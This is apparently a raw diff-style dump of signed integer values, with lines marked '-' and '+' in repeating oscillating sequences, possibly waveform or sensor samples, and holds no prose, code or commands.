-84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -101 --101 --254 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -33 --152 --305 --186 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -457 -305 -67 --152 --338 --474 --338 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --84 -118 -288 -423 -288 -67 --152 --338 --457 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -135 -322 -440 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -84 --135 --305 --440 --288 --50 -152 -338 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -457 -322 -101 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --423 --254 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-71 +-42 +8 +59 +93 +63 +12 -33 -186 -338 -237 -50 --135 --271 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --169 -50 -237 -372 -271 -50 --135 --288 --152 -50 -237 -372 -254 -50 --152 --305 --169 -33 -220 -372 -474 -322 -84 --135 --338 --474 --322 --101 -101 -288 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -288 -67 --135 --322 --457 --305 --67 -135 -305 -440 -305 -67 --152 --322 --457 --305 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -169 -322 -237 -50 --135 --288 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -33 --169 --355 --491 --322 --101 -118 -288 -423 -288 -67 --152 --322 --457 --288 --67 -135 -322 -440 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -322 -101 --118 --305 --440 --288 --50 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -457 -322 -84 --118 --305 --440 --271 --50 -152 -322 -457 -322 -101 --118 --288 --440 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -406 -271 -67 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --338 --474 --322 --84 -118 -288 -423 -288 -50 --152 --338 --474 --305 --67 -135 -305 -440 -305 -84 --135 --322 --457 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -305 -84 --118 --305 --423 --271 --50 -169 -338 -457 -322 -101 --101 --254 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -67 --135 --288 --169 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -220 -372 -474 -305 -67 --152 --338 --474 --338 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 --84 -118 -305 -423 -288 -67 --152 --338 --457 --305 --84 -135 -305 -423 -288 -67 --135 --322 --457 --288 --67 -135 -322 -457 -305 -84 --135 --305 --440 --288 --50 -169 -338 -457 -322 -84 --118 --305 --440 --288 --50 -152 -322 -457 -322 -84 --118 --305 --423 --271 --50 -152 -322 -457 -322 -101 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --423 --271 +-71 +-42 +12 +59 +93 +68 +12 -33 -169 -338 -237 -50 --135 --271 --135 -67 -254 -406 -288 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 84 --101 --254 --135 -67 -254 -406 -288 +59 +8 +-42 +-80 +-46 +4 +51 84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -355 -474 -305 -67 --152 --355 --474 --338 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 -84 -118 -288 -406 -288 -67 --152 --338 --457 --305 +-118 +-80 +-20 +29 +72 +106 +68 +12 +-37 -84 -135 -305 -423 -305 -67 --135 --322 --457 --288 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -169 -322 -237 -50 --135 --288 --152 -50 -254 -389 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 -118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -16 -203 -355 -457 -305 -67 --169 --355 --491 --338 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --84 -118 -288 -423 -288 -67 --152 --338 --457 --305 --84 -135 -305 -440 -305 -67 --135 --322 --440 --288 --67 -135 -322 -457 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -84 --135 --322 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -322 -101 --118 --305 --440 --271 --50 -152 -338 -457 -322 -84 --118 --305 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --423 --254 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 -16 -186 -338 -254 -50 --135 --271 --135 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --152 -50 -237 -372 -254 -50 --152 --305 --169 -33 -220 -372 -237 -50 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -16 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --338 --474 --322 --84 -118 -288 -406 -288 -50 --152 --338 --474 --305 --67 -135 -305 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -322 -84 --118 --305 --440 --271 --50 -152 -322 -457 -322 -101 --101 --237 --118 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -16 --186 --372 --508 --338 --101 -101 -288 -406 -271 -50 --152 --338 --474 --305 --67 -135 -305 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -338 -135 --84 --237 --118 -84 -254 -406 -271 -67 --135 --271 --152 -50 -237 -372 -271 -50 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -50 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -220 -372 -474 -322 -84 --152 --338 --474 --322 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 --84 -118 -305 -423 -288 -67 --152 --322 --457 --305 --84 -135 -305 -440 -288 -67 --135 --322 --457 --305 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -169 -322 -237 -50 --135 --288 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -50 -237 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -50 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -457 -305 -67 --152 --355 --491 --338 --101 -101 -271 -406 -271 -50 --169 --338 --474 --322 --84 -118 -288 -423 -288 -67 --152 --338 --457 --305 --84 -135 -305 -423 -305 -67 --135 --322 --457 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --271 +38 +80 +110 +76 +21 -33 -169 -338 -237 -50 --135 --271 --152 -67 -254 -406 -288 -84 --118 --254 --135 -67 -254 -389 -271 -67 --118 --271 --135 -67 -237 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -237 -50 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --203 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -254 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --338 --474 --322 --101 -118 -288 -406 -271 -50 --169 --338 --474 --305 --84 -135 -305 -440 -288 -67 --135 --322 --457 --305 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --84 --237 --118 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --186 --355 --491 --338 --101 -101 -288 -423 -288 -67 --152 --322 --457 --305 --67 -135 -305 -440 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -322 -84 --118 --305 --440 --271 --50 -152 -322 -474 -338 -135 --67 --237 --118 -84 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -372 -474 -305 -67 --152 --338 --474 --338 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 --101 -118 -288 -406 -288 -67 --152 --338 --457 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -169 -338 -237 -50 --135 --288 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --152 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 